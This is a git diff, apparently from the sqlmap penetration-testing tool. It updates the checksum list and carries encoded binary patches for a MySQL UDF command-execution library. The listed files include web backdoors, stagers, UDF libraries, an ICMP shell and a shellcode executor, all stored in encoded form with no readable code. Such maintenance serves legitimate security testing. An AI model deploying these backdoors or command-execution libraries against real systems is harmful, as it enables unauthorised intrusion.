zcmV+^1=jix?xtWUKdUfttl0&10ZaB%5^+NBgsL-aKkfR~z$i}2*!17=W0B{bMC$!NAFPO_mryx7xo#Vz#vt|t&-sI;exUM z|Mkl27A2YaO7K8(Ssf7^#b++iS(*QciP!dOjc>;n66optR5VJUP^v-ZPo-9Y|Nlp> zH>LmCj}OU-{WQ*YE^C!#6sHUZYPRYkC|*v47*S5&E%OJbS0+@T?jBCGTat!TI$YO- z6F^MY7VraZKl}7PTZy~vBJ+ZQnoDbLTOmWSSz7nql+OSiq=TKYkPWl$6F%;FA?N%z z;Fi}SM-k^SG=#R*alMD-b>6u1xnWSMlDO#*MCO{Sm+v{0Nm`Q?$5j>%tvWVPUY4&9 zeAHWmfpHn=aa(y{4oJOoeTG%OBT+`yu*oF@iF|vP{~y8!nH_LZN5(^eUq@UzY!ts# zfQq%G?bXZCjW`(Ya^%}??ihq6W1PG`*9Wa>5rF6W*MA5q<}mo5WKdZ1I#u;M7Ua0j z-nJN~Ik{*rIz>}LAHLt7^2K!&hsArUgPKVuENAwgQPe3?i76m?M`e&8ISDl}Jl~@7 z(_`Tmey`CZrbt}5fj=AUPC!4O|7(AivC*AzpHgp}RBxz-^Gx~z?(o_U;t>G%nW zI<^X7?gg#)IM=QmZyI#e5b-F&aHB8H0n zL^=->w?tvTc)Zurb9y^sd{3Sotn>nML4;Np0=RhYj((HZq7K%CvZpqm>6Z0{NzIQ6 z*VPn(xXLPl5wdbTT7THHT$0B>kAt!fU)|u(JZsSUYMROz{oC=F81L!Vg z*3rGqOsK!0)MMLX%&XvFKJ{0$#eY1X)2FxMCXWLcZF0Wd|5TCV5=*KmVCJG4j<&j} zVDy)xPJ+OpSVrf@^tSQr)MpWG* zg#7qT`Xa9fT9YYqQo4P@E@4bHcpz`{{PG;JJ?gJrZqeTmGoc1oi>j<;8;S;DYkrHw z_kuE1hEQ>$4LkNZk0A{W+9UpKf9abLAN#Dd#N4=TH-FcN{W^?-+-1dxHAp73!6EBz zip*Ne>{ z(u4N}6||T42x82?(CzBV;Hyk(reuDli|+e6_BMqUhzv|FkOq$X*L`D&7Z3Vm9G#W< zBj6adgc|Mni~c!u_nJ?wic>M}ab%qRC0~b4r4lRd*IVKlM@<40Nv*?WBAoj8i(z{V zOuEn(+{~GTT6l@zH}XI}Ny08SNX#8Un90UlGzWze3$IeK-*bg-Hak7ewU&=PWjhxG zd0fhb{-{|?-EanJLtn0iZdjsGY@b|7(?y-P-0+`~DrU13(NP1WK+5==UmCpsa zHpt9^Kb8{tI{L5bMc&w0sU8(wSLcjwZ;6QIbgO5xk|f}NZ!x=Jk_S^l1jyTx;|C4~ z@uvv6J}MCT!cM#{d@l0z=L1jo0Ux31@l?2!--Q$J^=V|FoV33)aAvYrW&XazzD-*22LnXO154Bo6X`zbc7Utx-*bx;2j9Qg2k`8B|$myf9_G! zVU0@ePaLLMgfF;3%QsjRC_04X7o;hy@DLD2^tgbg5H&V=WzIB~(cr(9a!by|uIV#Q7rn}T#jO^fu4K|?)Le2FG3gvraq ZB`<+i9k!u+H0xhBi8Lkpk#mYdfX-uKy8QqE literal 379 zcmV->0fhb!?yjV&JIgkGl<2J!dL^Yb!Ljot`JBEKuzh6aUM%hm zVykvph?etES_~eGcKT37OkWazlP99M-LkI=CxDtA+dEWfR5k#^)2~OA|E}d@Qm*uw z-WlP(3t)$*=SA>JGMv%f;5Mb^uyJJVO<9{gW8(`ss>CTaTBgdmc|a^-jhF-LAxXq-ex_$rv diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d5fa23055a2..8386496dfb2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -12,17 +12,17 @@ afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mss 606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql 4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql 7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt -519431a555205974e7b12b5ecb8d6fb03a504fbb4a6a410db8874a9bfcff6890 data/shell/backdoors/backdoor.asp_ -fbb0e5456bc80923d0403644371167948cefc8e95c95a98dc845bc6355e3718f data/shell/backdoors/backdoor.aspx_ -01695090da88b7e71172e3b97293196041e452bbb7b2ba9975b4fac7231e00a5 data/shell/backdoors/backdoor.cfm_ -03117933dcc9bfc24098e1e0191195fc4bafb891f0752edee28be1741894e0e5 data/shell/backdoors/backdoor.jsp_ -2505011f6dcf4c1725840ce495c3b3e4172217286f5ce2a0819c7a64ce35d9df data/shell/backdoors/backdoor.php_ +3ba14fdeac54b552860f6d1d73e7dc38dfcde6ef184591b135687d9c21d7c8cd data/shell/backdoors/backdoor.asp_ +35197e3786008b389adf3ecb46e72a5d6f9c7f00a8c9174bf362a4e4d32e594c data/shell/backdoors/backdoor.aspx_ +081680b403d0d02b6b1c49d67a5372b95c2a345038c4e2b9ac446af8b4af2cc8 data/shell/backdoors/backdoor.cfm_ +f240c9ba18caaf353e3c41340f36e880ed16385cad4937729e59a4fd4e3fa40a data/shell/backdoors/backdoor.jsp_ +78b8b00aeaf9fddc5c62832563f3edda18ec0f6429075e7d89d06fce9ddcf8c2 data/shell/backdoors/backdoor.php_ a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt -a4d49b7c1b43486d21f7d0025174b45e0608f55c110c6e9af8148478daec73d1 data/shell/stagers/stager.asp_ -1b21206f9d35b829fdf9afa17ea5873cd095558f05e644d56b39d560dfa62b6e data/shell/stagers/stager.aspx_ -8a149f77137fc427e397ec2c050e4028d45874234bc40a611a00403799e2dc0b data/shell/stagers/stager.cfm_ -c3a595fc1746ee07dbc0592ba7d5e207e6110954980599f63b8156d1d277f8ca data/shell/stagers/stager.jsp_ -82bcebc46ed3218218665794197625c668598eb7e861dd96e4f731a27b18a701 data/shell/stagers/stager.php_ +a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/stagers/stager.asp_ +8f625fdc513258ee26b3cae257be7114c9f114acb1e93172e2a8f5d2e8e0e0db data/shell/stagers/stager.aspx_ +c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_ +8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_ +af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt 9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt @@ -31,39 +31,39 @@ ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywo 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt 6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt 9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ -e3007876d35a153d9a107955fad3f6c338d3733210317b1f359417e8297595aa data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -77f7e7b6cfde4bae8d265f81792c04c4d2b2966328cbf8affb4f980dec2b9d91 data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -52b41ab911f940c22b7490f1d80f920c861e7a6c8c25bb8d3a765fd8af0c34a0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -ea6592dbe61e61f52fd6ab7082722733197fa8f3e6bec0a99ca25aff47c15cff data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -c58dd9b9fa27df0a730802bd49e36a5a3ccd59611fc1c61b8e85f92e14ac2a88 data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ -b6fdcfcafbbc5da34359604a69aaa9f8459a7e6e319f7b2ee128e762e84d1643 data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ -8d22d8b06ce253ae711c6a71b4ed98c7ad5ad1001a3dafb30802ec0b9b325013 data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ -812374d50a672a9d07faba1be9a13cfb84a369894dc7c702991382bb9558be9d data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ -5b816a33d9c284e62f1ea707e07b10be5efd99db5762d7bd60c6360dd2e70d8f data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ -cf5b9986fd70f6334bd00e8efcf022571089b8384b650245fb352ec18e48acdf data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ -445c05dac6714a64777892a372b0e3c93eee651162a402658485c48439390ad2 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ -1c86d2358c20384ac92d333444b955a01ee97f28caac35ed39fdb654d5f93c1b data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ -050ff4692a04dc00b7e6ac187a56be47b5a654ccf907ffa9f9446194763ae7e5 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ -7806d4c6865c7ebed677ae8abe302ca687c8f9f5b5287b89fed27a36beeeb232 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ -cfa2a8fc26430cbc11ad0bd37609c753d4ca1eecb0472efe3518185d2d13e7cf data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ -d2210ad9260bd22017acc519a576595306842240f24d8b4899a23228a70f78c6 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ -6311d919f6ff42c959d0ce3bc6dd5cb782f79f77857e9ab3bd88c2c365e5f303 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ -4520fc47ea6e0136e03ba9b2eb94161da328f340bf6fbebad39ca82b3b3e323b data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ -bad0bb94ec75b2912d8028f7afdfd70a96c8f86cbc10040c72ece3fd5244660d data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ -b8132a5fe67819ec04dbe4e895addf7e9f111cfe4810a0c94b68002fd48b5deb data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ -03f3b12359a1554705eab46fb04dba63086beb5e2b20f97b108164603efdcb65 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ -e5be1341a84b1a14c4c648feec02418acb904cd96d7cf0f66ec3ff0c117baf91 data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ -28113b48848ba7d22955a060a989f5ae4f14183b1fc64b67898095610176098c data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ -1187045f66f101c89678791960dc37ca5663cf4190ca7dc550753f028ec61a88 data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ -2259cd7e3f6ff057bbbb6766efc6818a59dbf262bfadefd9fda31746903c7501 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ -1fdb0856443b56bf9e3e8c7d195171327217af745ad2e299c475d96892a07ec9 data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ -21e274e6c49cc444d689cb34a83497f982ed2b2850cab677dc059aea9e397870 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ -6707132e4e812ad23cc22ff26e411e89f1eb8379a768161b410202c5442ff3ea data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ -0989c0c0143fb515a12a8b5064f014c633d13a8841aeceaf02ff46901f17805f data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ -3a492e9a1da0799d1107aa5949538303d06409c9a0ed00499626a08083d486ee data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ -3eab7d90606c3c0a9a88e1475e6d8d7d787b3b109c7e188cb9cb8b5561a6766e data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ -a1fe84c5b409366c3926f3138189fb17e7388ef09594a47c9d64e4efe9237a4b data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ -7368a6301369a63e334d829a1d7f6e0b55a824a9f1579dfeb7ced5745994ebc6 data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ +0a1f612740c5cf7cd58de8aadd5b758c887cf8465e629787e29234d7d0777514 data/udf/mysql/linux/32/lib_mysqludf_sys.so_ +6944a6f7b4137ef5c4dedff23102af2bd199097fc8c33aeea3891f8cff25e002 data/udf/mysql/linux/64/lib_mysqludf_sys.so_ +4ceb22cb3ae14b44d68b56b147e1bd61a70cb424a3e95b6d010330f47e0fb5d0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ +4cc318f2574366686220b78ce905e52ae821526b0228beea538063f552813282 data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ +dc6ac20faf8d738673de1b42399d23be1c4006238a863e0aec96d1b84c7120de data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ +5f062f5949803b9457ab1f4c138f2a97004944fdd3adf59954070b36863024fa data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ +3b3b46ccbf3c588ebaf90bf070eb1049fcf683918d54260c12b3d682916a155b data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ +d662e025c2680a4b463fe7c0baad16582f0700800140d5cfcdddbabc5287f720 data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ +e8050613548293ef500277713a4aa9aa5ca1a9f5f1fef3120a04dc1ae1440937 data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ +585a29538fdcdb43994d6b2273447287695676855a80b74fc84d76a228cf86c5 data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ +956c17e6ef74ac4f4d423e9060f9fd5fb6aaa885dcda75f3180edfbb6e5debe5 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ +619ae8bcce96042c4777250bccf9db41ee7131a7b610e79385116bce146704e2 data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ +7c8359639ecbc57cf9278e22cc177073c69999826ba940aa2ce86fc829d27ab8 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ +2e77400e71c964f3d2491dbddeb92eef6c9e2fcc8db57d58e10b95976dc54524 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ +b4e5c86ba5c9ad668d822944fe8bfd59664cc8a6c3a6e5fb6cf2ce1fe7cb04a9 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ +c58117a9c5569bbf74170a5cd93d7c878b260c813515694e42d25b6d38bbeb79 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ +ffb54c96f422b1e833152b7134adff65418e155e1d3a798e9325cf53daadd308 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ +b907f950f8485d661b4a2c8cb53fbc4d25606275ef36e33929fd4772cfa8925d data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ +f9015f9b1c4d8ffe0bf806718e31d36b32108544a3b99fda6a8c44ebfdcca0ff data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ +869d9df6b8bee8f801fabfda5ca242bd3514c1c9a666c28c52770ffe6eaf7afc data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ +4e53979687166cc26a320069f9cdfe09535f348088fc76810314a6cf41e13d12 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ +bd8ae1dd0c61634615cd26dd9765e24b8c63302cf0663fbb4b516b4cbde5457e data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ +8ce6f5d9b6821e57d516a07255cf5db544ee683db24ee231e5ce8c152baf0a69 data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ +6b0c4996ade6d1e667d52037d6687548a442d9c6fc1e4c31e0ba3b2248474b1f data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ +d3e0238e9c83b88061b1613db5c9faed5f03a16f6ecf34c52d5ff9ac960107d0 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ +102986c0524cab385c95deba4efed4ad7e3479ef2770cc7256571958b9325b4f data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ +031b5ca9e9ff47435821d04abbe0716e464785dd57e58439ff9dc552144f4e59 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ +dc1e3542e639ffa2b63972d34fc2529054ec163560c1f28c1719413759f94616 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ +07d425be2d24cd480299759c12dd8b1c77707dc9879b1878033c3149185ccf60 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ +c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ +807413d852b9d2db33b7f6064699df3328cd4cf9357cac4f7627a0bbb38f6fbf data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ +8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ +7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ 0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt 288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551 data/xml/banner/generic.xml 2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml @@ -118,13 +118,13 @@ c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translatio 8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py -676a764f77109f29c310d7f9424c381516f71944e910efabbc95601af1e49a48 extra/cloak/cloak.py +b8d919ad6c632a9f5b292ee6c0476e9b092a39c0727fe89d12102d1938217116 extra/cloak/cloak.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/cloak/__init__.py 6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128 extra/cloak/README.txt 4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e extra/dbgtool/dbgtool.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt -b7557edb216f65056d359cd48f3191a642cf3a1838a422a67ffbef17b58535d7 extra/icmpsh/icmpsh.exe_ +6cdf3fff3bdf14f7becf5737f30085fd46510a2baa77c72b026723525b46e41b extra/icmpsh/icmpsh.exe_ 4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c extra/icmpsh/icmpsh-m.c 8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl 12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py @@ -133,7 +133,7 @@ ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/_ 27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py 191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt -53d98136e508330e3adad43e4a3b0ebc5143c79f0ee7bce5dacf92cb8f7a17fd extra/runcmd/runcmd.exe_ +3c567dd087963349a04a3f94312d71066bfbe4fd57139878b555aea4a637676d extra/runcmd/runcmd.exe_ 70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae extra/runcmd/src/runcmd/runcmd.cpp a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd extra/runcmd/src/runcmd/runcmd.vcproj @@ -143,7 +143,7 @@ e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442 extra/runcmd/s 38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b extra/shellcodeexec/linux/shellcodeexec.x32_ b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcodeexec/linux/shellcodeexec.x64_ cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt -980c03585368a124a085c9f35154f550f945d356ceb845df82b2734e9ad9830b extra/shellcodeexec/windows/shellcodeexec.x32.exe_ +b1381d5c473a428b3ca30e7f438e86ddcb90b51504065d332df0efd3e321d3dd extra/shellcodeexec/windows/shellcodeexec.x32.exe_ 384805687bfe5b9077d90d78183afcbd4690095dfc4cc12b2ed3888f657c753c extra/shutils/autocompletion.sh a86533e9f9251f51cd3a657d92b19af4ec4282cd6d12a2914e3206b58c964ee0 extra/shutils/blanks.sh cfd91645763508ba5d639524e1448bac64d4a1a9f2b1cf6faf7a505c97d18b55 extra/shutils/drei.sh @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -39825ddbb7da5b711ce9f9dc7a43d8ba7ee0affaa716b12489e63df429434ea4 lib/core/settings.py +ecd2ed39ca4391c5ef3e6488539afff0a15d9aa51157a4e2df16b27d0aa577d9 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ index c5339680c1b0a6265125db06f2a1f93449ab4893..b2abf47952cbc24b4882aef7964e60fbe5d8ea87 100644 GIT binary patch literal 2512 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 